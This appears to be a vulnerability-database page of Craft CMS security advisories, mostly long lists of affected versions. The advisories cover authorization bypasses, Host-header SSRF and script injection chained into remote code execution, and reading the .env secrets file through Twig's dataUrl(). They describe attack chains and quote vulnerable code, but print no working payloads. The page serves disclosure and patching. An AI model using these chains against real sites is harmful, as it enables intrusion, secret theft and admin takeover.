            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.15


          5.9.22

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50283 GHSA-qh45-9g5p-m2v4 Jul 02, 2026

Craft CMS: Unauthorized Deletion of Source Assets During File Replacement

Medium

Network Low Low None

We have identified an authorization issue in Craft CMS AssetsController::actionReplaceFile that can delete a source asset without source delete permission by supplying both assetId and sourceAssetId.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionReplaceFile() supports replacing a target asset file using another existing asset as the source. The action loads:

$assetToReplace from assetId
$sourceAsset from sourceAssetId

It then enforces replace permissions using ($assetToReplace ?: $sourceAsset). When both IDs are provided, this expression resolves to the target asset so no permission check is performed against the source asset volume.

$this->requireVolumePermissionByAsset('replaceFiles', $assetToReplace ?: $sourceAsset);
$this->requirePeerVolumePermissionByAsset('replacePeerFiles', $assetToReplace ?: $sourceAsset);

src/controllers/AssetsController.php:L433-L434

In the branch where both assets are present, Craft copies the source file into the target and then deletes the source asset. There is no check for deleteAssets:<sourceVolumeUid> or deletePeerAssets:<sourceVolumeUid> for the source asset before deletion.

$assets->replaceAssetFile($assetToReplace, $tempPath, $assetToReplace->getFilename(), $sourceAsset->getMimeType());
Craft::$app->getElements()->deleteElement($sourceAsset);

src/controllers/AssetsController.php:L462-L463

Impact

An authenticated user who can replace files in one volume can delete assets in another volume where they do not have delete permission, as long as they can obtain a sourceAssetId. This can lead to unauthorized asset deletion, broken content references, and data loss.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50280 GHSA-43cq-c2gq-pfpw Jul 02, 2026

Craft CMS: Authorization bypass in `entries/move-to-section` via missing target-section save check

Medium

Network Low Low None

Summary

The EntriesController::actionMoveToSection() endpoint checks only whether the current user can view the destination section, but it does not require permission to save entries into that section. A low-privileged authenticated control-panel user who can move an entry out of its current section can therefore move that entry into a different section where they have read access but no write access.

Details

The vulnerable route is implemented in EntriesController.php:465:

The destination check is only viewEntries:$section->uid . The source-entry gate is Entry::canMove(), which verifies whether the user can move the existing entry based on the source section:

This closes the exploit chain:

External source: authenticated CP request to entries/move-to-section.
Missing authorization check: destination section requires only viewEntries, not saveEntries.
Privileged sink: moveEntryToSection() rewrites sectionId and saves the entry into the unauthorized section.

Preconditions derived from the code:

The attacker is authenticated to the control panel.
Entry 345 is movable by the attacker from its current section.
The attacker can satisfy viewEntries on destination section 12.
The attacker does not have saveEntries:DESTINATION_UID, which is the missing check that makes the bypass possible.

Result:

The controller accepts the request because viewEntries:$section->uid passes.
Each source entry passes canMove() based on source-section permissions.
moveEntryToSection() updates the entry’s sectionId and saves it.
The entry is now located in a section where the attacker did not have write permission.

Impact

This breaks the intended section-level authorization model. A user with limited content permissions can inject or relocate content into a protected section, interfering with editorial boundaries, approval workflows, section-specific business logic, and content ownership expectations.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 156 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50279 GHSA-qq2c-2q8j-jh27 Jul 02, 2026

Craft CMS: Authorship spoofing in `entries/save-entry` via pre-check/post-mutation authorization gap

High

Network Low Low None

Summary

EntriesController::actionSaveEntry() performs entry-edit permission checks before request-controlled author changes are applied to the model. The subsequent author mutation path accepts attacker-supplied authors / author parameters and allows the change when the current user is one of the old authors. Because the controller does not re-run authorization after mutating the author list, a low-privileged user can reassign an entry’s authorship to another user without holding the dedicated peer-author-change permission.

Details

The control flow begins in EntriesController.php:249. actionSaveEntry() loads the entry and enforces edit permissions before calling _populateEntryModel():

public function actionSaveEntry(bool $duplicate = false): ?Response
{
    ...
    $entry = $this->_editableEntry($this->request->getBodyParam('entryId'), $siteId);
    ...
    $this->enforceEditEntryPermissions($entry, $duplicate);
    ...
    $this->_populateEntryModel($entry);
    ...
    $success = Craft::$app->getElements()->saveElement($entry);
}

The attacker-controlled source is in EntriesController.php:588:

$entry->setAttributesFromRequest(array_filter([
    'authorIds' => $this->request->getBodyParam('authors') ??
        $this->request->getBodyParam('author') ??
        $entry->getAuthorId() ??
        static::currentUser()->id,
]));

Entry::setAttributesFromRequest() in Entry.php:1124 extracts the new author IDs and applies them if canChangeAuthor() returns true:

if (
    ($authorIds !== null || $authorId !== null) &&
    $this->canChangeAuthor()
) {
    $this->_oldAuthorIds = $oldAuthorIds;
    $this->setAuthorIds($authorIds);
}

canChangeAuthor() at Entry.php:2789 allows the author change when the current user can view peer entries and is already one of the existing authors:

return (
    empty($authorIds) ||
    in_array($user->id, $authorIds) ||
    $user->can("changeAuthorForPeerEntries:$section->uid")
);

After the author list is mutated, the controller does not re-check authorization.

This closes the exploit chain:

External source: authenticated request to entries/save-entry with attacker-controlled authors[].
Trust boundary failure: authorization is checked on the pre-mutation entry state, not on the post-mutation author assignment.
Privileged sink: the author relationship is rewritten in persistent storage.

Preconditions derived from the source:

The attacker is authenticated and can edit entry 345.
The attacker is among the existing authors of entry 345, or otherwise satisfies canChangeAuthor() through the old author set.
The attacker has viewPeerEntries for the section.
User ID 1 exists and can be assigned as an author in that section.

Result:

enforceEditEntryPermissions() succeeds on the original entry state.
_populateEntryModel() reads authors[]=1 from the request body.
setAttributesFromRequest() updates authorIds because canChangeAuthor() is evaluated against the old authorship state.
saveElement() persists the change and _saveAuthors() rewrites the entry-author relation.
Entry 345 now appears authored by user 1.

Impact

This allows low-privileged users to falsify content ownership and alter the authorship of entries without having the dedicated author-management permission. The impact includes corrupted audit trails, misleading notifications, broken approval workflows, and unauthorized reassignment of content responsibility.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 156 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

Mar 26, 2026

4.17.12 patch

6 CVEs

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


